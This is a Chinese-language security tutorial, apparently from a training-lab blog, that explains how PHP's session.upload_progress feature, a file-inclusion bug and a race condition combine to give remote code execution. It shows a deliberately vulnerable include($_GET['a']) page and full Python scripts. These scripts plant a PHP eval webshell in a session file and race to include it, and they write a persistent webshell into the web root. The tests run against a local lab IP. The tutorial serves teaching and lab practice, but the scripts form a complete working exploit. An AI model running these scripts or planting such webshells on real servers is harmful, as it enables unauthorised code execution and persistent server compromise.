zoukankan      html  css  js  c++  java
  • 【文件包含&条件竞争】详解如何利用session.upload_progress文件包含进行RCE

    什么是session.upload_progress?

    open_basedirallow_url_fopenallow_url_include等PHP配置一样,session.upload_progress也是PHP的一个功能,同样可以在php.ini中设置相关属性。其中最重要的几个设置如下:

    session.upload_progress.enabled = on
    session.upload_progress.cleanup = on
    session.upload_progress.prefix = "upload_progress_"
    session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
    • session.upload_progress.enabled可以控制是否开启session.upload_progress功能

    • session.upload_progress.cleanup可以控制是否在上传之后删除文件内容

    • session.upload_progress.prefix可以设置上传文件内容的前缀

    • session.upload_progress.name的值即为session中的键值

    session.upload_progress开启之后会有什么效果?

    当我们将session.upload_progress.enabled的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。

    问题1:

    那么这个时候就会有一个前提条件,就是如何初始化session并且把session中的内容写到文件中去呢?

    分析1:

    我们可以注意到,php.ini中session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去,具体文件的内容是什么,后面会写到。

    问题2:

    当session.upload_progress.cleanup的值为on时,即使上传文件,但是上传完成之后文件内容会被清空,这怎么办?

    分析2:

    利用Python的多线程,进行条件竞争

    如何利用session.upload_progress进行RCE?

    然而,理论再多也没用,还是得一步步调试,看看在文件上传的时候,整一个PHP服务端到底发生了什么。所以还是需要做实验。

    首先,在网站根目录下随便新建一个test.php文件

    然后写一个Python程序用于往服务器上上传文件:

    这里有几个注意点:

    • 上传的文件大小为50KB,文件名为Lxxx.jpg

    • 该程序设置的sessionid为Lxxx,也就是说会在/tmp目录下生成sess_Lxxx文件

    • 该程序设置的PHP_SESSION_UPLOAD_PROGRESS值为一句话木马,也就是说,在理论上,一句话木马会被写入到/tmp/sess_Lxxx

    import requests
    import io
    url = "http://192.168.2.128/test.php"
    sessid = "Lxxx"

    def write(session):
       filebytes = io.BytesIO(b'a' * 1024 * 50)
       while True:
           res = session.post(url,
               data={
                   'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
                  },
               cookies={
                   'PHPSESSID': sessid
                  },
               files={
                   'file': ('Lxxx.jpg', filebytes)
                  }
              )

    if __name__ == "__main__":
       with requests.session() as session:
           write(session)

    执行程序后,我们需要用tail -f命令实时查看/tmp/sess_Lxxx文件,因为在本地测试速度比较快,如果使用cat命令,文件内容还没输出就被删除了。

    tail -f /tmp/sess_Lxxx

    结果如下:

    也就是说,/tmp/sess_Lxxx文件中的内容为:

    upload_progress_<?php eval($_POST[1]);?>|a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}

    仔细分析一下该文件内容,该文件分为两块,以竖线|区分。

    第一块内容如下:

    upload_progress_<?php eval($_POST[1]);?>

    这一块内容由以下两个值组成:session.upload_progress.name+PHP_SESSION_UPLOAD_PROGRESS

    第二块内容如下:

    a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}

    一看就是序列化之后的值,我们将其进行反序列化后输出:

    array(5) {
    ["start_time"]=>
     int(1631343214)
    ["content_length"]=>
     int(276)
    ["bytes_processed"]=>
     int(276)
    ["done"]=>
     bool(false)
    ["files"]=>
     array(1) {
      [0]=>
       array(7) {
        ["field_name"]=>
         string(4) "file"
        ["name"]=>
         string(8) "Lxxx.jpg"
        ["tmp_name"]=>
         NULL
        ["error"]=>
         int(0)
        ["done"]=>
         bool(false)
        ["start_time"]=>
         int(1631343214)
        ["bytes_processed"]=>
         int(276)
      }
    }
    }

    可以看到这里记录了文件上传时间、文件大小、文件名称等等文件属性。

    接下来在网站根目录新建一个test.php文件,文件内容如下:

    <?php
    $a = $_GET["a"];
    include($a);

    很明显有一个文件包含的漏洞。

    接下来我们利用session.upload_progress进行条件竞争

    以下代码有几个注意点:

    • 首先,函数write和上面的是一样的,这里就不做过多的赘述了

    • 整个代码的思路就是,往/tmp/sess_Lxxx文件中写入一句话木马,密码为1,然后用题目中的文件包含漏洞,包含这一个文件,在函数read中尝试利用/tmp/sess_Lxxx的一句话往网站根目录文件1.php写一句话木马,密码为2

    • 利用Python的多线程,一边上传文件,一边尝试往根目录中写入1.php,如果成功写入了,就打印输出“成功写入一句话”

    • 这里利用Python的threading模块,开5个线程进行条件竞争

    代码如下:

    import requests
    import io
    import threading

    url = "http://192.168.2.128/test.php"
    sessid = "Lxxx"

    def write(session):
    filebytes = io.BytesIO(b'a' * 1024 * 50)
    while True:
    res = session.post(url,
    data={
    'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
    },
    cookies={
    'PHPSESSID': sessid
    },
    files={
    'file': ('Lxxx.jpg', filebytes)
    }
    )

    def read(session):
    while True:
    res = session.post(url+"?a=/tmp/sess_"+sessid,
    data={
    "1":"file_put_contents('/www/admin/localhost_80/wwwroot/1.php' , '<?php eval($_POST[2]);?>');"
    },
    cookies={
    "PHPSESSID":sessid
    }
    )
    res2 = session.get("http://192.168.2.128/1.php")
    if res2.status_code == 200:
    print("成功写入一句话!")
    else:
    print("Retry")



    if __name__ == "__main__":
    evnet = threading.Event()
    with requests.session() as session:
    for i in range(5):
    threading.Thread(target=write, args=(session,)).start()
    for i in range(5):
    threading.Thread(target=read, args=(session,)).start()
    evnet.set()

    代码执行结果如下:

    一开始会一直显示Retry,但是只要运行一段时间就会成功写入一句话。

    image.png

    可以在网站根目录看到,成功写入一句话。

    参考资料

    点击链接进行实验:php竞争条件漏洞

    合天智汇:合天网络靶场、网安实战虚拟环境
  • 相关阅读:
    104每日博客
    924每日博客
    921每日博客
    928每日博客
    929每日博客
    930每日博客
    927每日博客
    大志非才不就,大才非学不成—我的博文资源汇总
    vue 项目搭建
    Vant 使用记录
  • 原文地址:https://www.cnblogs.com/hetianlab/p/15266741.html
Copyright © 2011-2022 走看看